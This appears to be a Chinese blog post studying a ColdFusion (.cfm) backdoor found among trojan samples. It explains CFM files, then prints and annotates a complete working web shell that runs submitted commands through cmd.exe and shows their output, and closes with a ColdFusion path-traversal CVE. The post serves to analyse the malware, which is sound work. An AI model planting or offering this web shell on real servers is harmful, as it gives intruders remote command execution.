CFM后门马的学习研究

总结摘要
CFM后门马的学习研究

在木马文件夹中发现一类叫CFM后门马的木马,没见过来学习一下。

CFM文件是什么

CFM 文件是一个包含 ColdFusion 代码或 CFML(ColdFusion 标记语言)的网页。当用户访问该页面时,它会由 ColdFusion 网络服务器动态执行

2种文件类型 使用 .cfm 文件扩展名。

  • ColdFusion标记文件
  • dBASE自定义表单

开发者:Adobe系统

打开方式:Adobe ColdFusion

ColdFusion 是由 Adobe Systems 创建的一个网页开发平台,广泛用于构建动态网站和网页应用程序。

开发人员通常使用Adobe ColdFusion Builder来创建CFML应用程序。然而,他们可能会使用各种其他CFML IDE和编辑器,例如Adobe Dreamweaver、CFEclipse(Eclipse的插件)和CFBrackets(Brackets源代码编辑器的扩展)

ColdFusion 最初由 Allaire 开发,后来被 Macromedia 收购,现在由 Adobe Systems 在 2005 年收购 Macromedia 后分发。

CFM程序运行步骤

  1. 确保您在服务器上安装并配置了 Adobe ColdFusion。
  2. 将CFM文件放置在您的ColdFusion网站根目录的适当目录中(通常位于wwwrootwebapps目录中)。
  3. 打开一个网页浏览器并访问http://yourserver.com/path/to/yourfile.cfm
  4. 您应该在浏览器中看到 CFM 文件处理后的输出。

CFM木马攻击范围

ColdFusion 服务器运行的CFM程序,类似于php文件。

本次研究的主要内容

研究代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CFM shell</title>
</head>
<body>
<!--- os.run --->
<cfif IsDefined("FORM.cmd")>
    <cfoutput>#cmd#</cfoutput>
    <cfexecute name="C:\Winnt\System32\cmd.exe"
           arguments="/c #cmd#"
           outputfile="#GetTempDirectory()#foobar.txt"
           timeout="1">
    </cfexecute>
</cfif>
<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">
<input type=text size=45 name="cmd" >
<input type=Submit value="run">
</form>
<cfif FileExists("#GetTempDirectory()#foobar.txt") is "Yes">
  <cffile action="Read"
            file="#GetTempDirectory()#foobar.txt"
            variable="readText">
<textarea readonly cols=80 rows=20>
<CFOUTPUT>#readText#</CFOUTPUT>         
</textarea>
    <cffile action="Delete"
            file="#GetTempDirectory()#foobar.txt">
</cfif>
</body>
</html>

去掉html标签后,主要研究的两部分

首先是对程序的读,启动cmd,来进行命令行控制,在页面的表格中获取到想执行的命令,成功执行并写入到foobar.txt中。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<!--- os.run --->
<cfif IsDefined("FORM.cmd")>
    <cfoutput>#cmd#</cfoutput>
    <cfexecute name="C:\Winnt\System32\cmd.exe"
           arguments="/c #cmd#"
           outputfile="#GetTempDirectory()#foobar.txt"
           timeout="1">
    </cfexecute>
</cfif>
<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">
<input type=text size=45 name="cmd" >
<input type=Submit value="run">
</form>

对foobar.txt文件的读并显示到页面然后再删除文件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<cfif FileExists("#GetTempDirectory()#foobar.txt") is "Yes">
  <cffile action="Read"
            file="#GetTempDirectory()#foobar.txt"
            variable="readText">
<textarea readonly cols=80 rows=20>
<CFOUTPUT>#readText#</CFOUTPUT>         
</textarea>
    <cffile action="Delete"
            file="#GetTempDirectory()#foobar.txt">
</cfif>

ColdFusion相关安全漏洞

Adobe ColdFusion路径遍历漏洞 (CVE-2024-53961)

**危害描述:**未经身份验证的远程攻击者可以利用此漏洞访问应用程序设置的受限目录之外的文件或目录,从而导致敏感信息泄露或系统数据被操纵。

影响版本

Adobe ColdFusion 2023 <= Update 11

Adobe ColdFusion 2021 <= Update 17

更多阅读 CFM的历史 web - 上古开发神器之Coldfusion